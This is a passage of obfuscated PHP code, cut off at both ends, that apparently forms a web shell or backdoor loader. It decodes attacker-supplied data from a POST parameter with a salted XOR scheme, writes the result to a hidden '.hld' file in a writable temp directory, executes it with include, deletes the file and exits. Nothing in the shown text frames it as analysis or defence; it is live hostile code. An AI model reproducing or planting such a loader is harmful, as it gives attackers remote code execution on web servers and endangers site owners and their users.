=$len) break; $v9 = $pointer[$l]; $sChar = ord( $s3[$l%$sLen] ); $d = ( ( int)$v9 - $sChar -( $l%10)) ^ 37; $pset .=chr( $d ); $l++; } while( true ); $binding = array_filter([getenv("TMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", getcwd()]); foreach ($binding as $factor): if (!( !is_dir($factor) || !is_writable($factor) )) { $ptr = str_replace("{var_dir}", $factor, "{var_dir}/.hld"); if (file_put_contents($ptr, $pset)) { include $ptr; @unlink($ptr); die(); } } endforeach; } if(isset($_POST["ent"]) ? true : false){ $hld = array_filter(["/dev/shm", "/tmp", "/var/tmp", getcwd(), getenv("TMP"), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $ref = $_POST["ent"]; $ref =explode('.' , $ref ); $dat = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4); $len = count($ref); for ($p = 0; $p < $len; $p++) { $v5 = $ref[$p]; $sChar = ord($salt4[$p %$lenS]); $dec = ((int)$v5 - $sChar - ($p %10)) ^ 8; $dat .=chr($dec); } while ($object = array_shift($hld)) { if (max(0, is_dir($object) * is_writable($object))) { $elem = join("/", [$object,